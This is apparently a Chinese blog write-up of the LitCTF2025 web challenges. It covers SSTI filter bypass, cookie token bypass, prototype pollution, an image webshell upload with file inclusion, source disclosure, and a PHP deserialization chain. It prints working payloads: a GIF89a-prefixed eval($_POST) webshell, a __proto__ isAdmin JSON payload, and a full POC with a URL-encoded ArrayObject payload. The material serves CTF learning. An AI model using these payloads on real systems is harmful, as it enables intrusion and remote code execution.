LitCTF2025 wp

Web

解题情况:3/6

星愿信箱

打开控制台网络发现是 python 服务器,猜测可能是 SSTI。测试发现 "{{}}" 被过滤:
"{%%}" 没被过滤,打 payload:

image

这里需要找到对应的类,fuzz 一下找到:
image

Cat 被过滤,用 tac:
image

NSSCTF{dba92f5a-df81-41c8-a8de-78b7c354b00a}

nest_js

提示 /dashboard,访问重定向回 /login,而且不管访问什么都重定向回 /login

这里查看源码发现:
image

最后一段源码显示:登录成功后创建 token=,并且全站有效,这里发现是必须携带 token 访问,尝试携带 cookie: token=123abc 访问 /dashboard
成功!
image

LitCTF{b11dd2bc-935b-47d7-ada1-dd12a3140c4a}

多重宇宙日记

题目提示 原型链污染

image

这里提到,网页是通过 isAdmin 来进行验证的:
构造原型链污染:

image

payload:

{
    "settings": {
        "language": "en",
        "__proto__": {
            "isAdmin": true
        }
    }
}

image
NSSCTF{2cc127d1-c663-42ca-8d47-ba64cc5ad093}

easy_file(复现)

爆破发现页面存在弱口令登录:
账号:admin
密码:password
查看源码发现提示:
image

登录后发现是文件上传:

image

上传一个图片马,使用短标签(php 字符串被 ban):
image

GIF89a
<?=
eval($_POST['hack']);
?>

根据刚刚的提示,我们在 /admin.php 页面尝试 GET file 参数,将图片马包含进去(即查看头像):

image

发现成功显示,接下来 RCE 得到 flag:

image

NSSCTF{4cfaa997-e30b-449a-912f-4c66e6258b7f}

easy_signin(复现)

打开直接 403,扫目录:
image

发现 /login.html

image

查看源码发现 /api.js
image

打开发现读取文件和网页快照的 api:
image

尝试读取该 api 的 urlcode.php:
image

查看源代码中发现其 php 代码:(比赛的时候就是没有去查看源代码导致一直卡题目)

image

直接访问源码中的 327a6c4304ad5938eaf0efb6cc3e53dc.php 得到 flag:

image

NSSCTF{5ee499f6-9dab-4aeb-b360-7ec7a89d3c66}

君の名は(复现)

注意 php 版本!

这里我将 php 版本设置为 7.3.4,请在打 php web 题目的时候注意版本,如果使用 php8 运行待会的反序列化 poc,将会有细微差别导致 poc 打不进去。
image

访问得到源码,是反序列化题目:

<?php
highlight_file(__FILE__);
error_reporting(0);
create_function("", 'die(`/readflag`);');
class Taki
{
    private $musubi;
    private $magic;
    public function __unserialize(array $data)
    {
        $this->musubi = $data['musubi'];
        $this->magic = $data['magic'];
        return ($this->musubi)();
    }
    public function __call($func,$args){
        (new $args[0]($args[1]))->{$this->magic}();
    }
}

class Mitsuha
{
    private $memory;
    private $thread;
    public function __invoke()
    {
        return $this->memory.$this->thread;
    }
}

class KatawareDoki
{
    private $soul;
    private $kuchikamizake;
    private $name;

    public function __toString()
    {
        ($this->soul)->flag($this->kuchikamizake,$this->name);
        return "call error!no flag!";
    }
}

$Litctf2025 = $_POST['Litctf2025'];
if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){
    unserialize($Litctf2025);
}else{
    echo "把O改成C不就行了吗,笨蛋!~(∠・ω< )⌒☆";
}

思路

这里的反序列化链子很简单:

Taki.__unserialize() 
    => Mitsuha.__invoke() 
        => KatawareDoki.__toString() 
            => Taki.__call() 
                => create_function("", 'die(`/readflag`);');

这里有个关键点,就是要调用一开始创建的匿名函数:

create_function("", 'die(`/readflag`);');

这个匿名函数执行后的效果就是运行 /readflag 程序,输出 flag,所以我们现在要做两件事情:

  1. 找到这个匿名函数真实的函数名
  2. 找到调用这个匿名函数的方法

create_function()

匿名函数其实没有名字?

首先我们查看 create_function 的底层源代码,发现其在创建的时候,会给函数命名为

\000lambda_x

其中 x 从 0 开始一直往后自增,其实依据这个规律我们能尝试找到 在该文件中匿名函数的 “真实名字”(可以尝试 fuzz)。

注意,网页每刷新一次,匿名函数的 x 就会自增 1,所以可以尝试重启容器或者暴力找该函数名

反射调用函数 ReflectionFunction

搜索发现,ReflectionFunction 的 invoke 方法可以根据函数名字调用函数。

绕过序列化字符串开头的 O

我们可以使用一个类将反序列化链子包装起来,开头的 O 就会被自动转化为 C,下面是 POC:

<?php
class Taki
{
    public $musubi;
    public $magic = "invoke";
}

class Mitsuha
{
    public $memory;
    public $thread;
}

class KatawareDoki
{
    public $soul;
    public $kuchikamizake = "ReflectionFunction";
    public $name = "\000lambda_1";
}

$a = new Taki();
$b = new Mitsuha();
$c = new KatawareDoki();

$a->musubi = $b;
$b->thread = $c;
$c->soul = $a;

$d = array("evil"=>$a);
$e = new ArrayObject($d);

echo urlencode(serialize($e));

?>

payload: (fuzz),这里我重启了容器,所以匿名函数的名字从 0 开始,尝试手动遍历得到 flag

C%3A11%3A%22ArrayObject%22%3A244%3A%7Bx%3Ai%3A0%3Ba%3A1%3A%7Bs%3A4%3A%22evil%22%3BO%3A4%3A%22Taki%22%3A2%3A%7Bs%3A6%3A%22musubi%22%3BO%3A7%3A%22Mitsuha%22%3A2%3A%7Bs%3A6%3A%22memory%22%3BN%3Bs%3A6%3A%22thread%22%3BO%3A12%3A%22KatawareDoki%22%3A3%3A%7Bs%3A4%3A%22soul%22%3Br%3A4%3Bs%3A13%3A%22kuchikamizake%22%3Bs%3A18%3A%22ReflectionFunction%22%3Bs%3A4%3A%22name%22%3Bs%3A9%3A%22%00lambda_1%22%3B%7D%7Ds%3A5%3A%22magic%22%3Bs%3A6%3A%22invoke%22%3B%7D%7D%3Bm%3Aa%3A0%3A%7B%7D%7D

image

LitCTF{a4c9d9b1-4o9v-773o-8da6-3kbcbaa127u44}

总结

这次比赛只做出来前三题,还有三题十分可惜,都是离 flag 差一步之遥。

  • 打 web 题的环境没有配得完美(php 版本问题)
  • 把问题想复杂,忽视简单的攻击方式
  • 做题目太急躁,慌慌张张

希望下次比赛能打出更好的成绩捏~

posted @ 2025-05-29 22:14  None_1ceLAND  阅读(64)  评论(2)    收藏  举报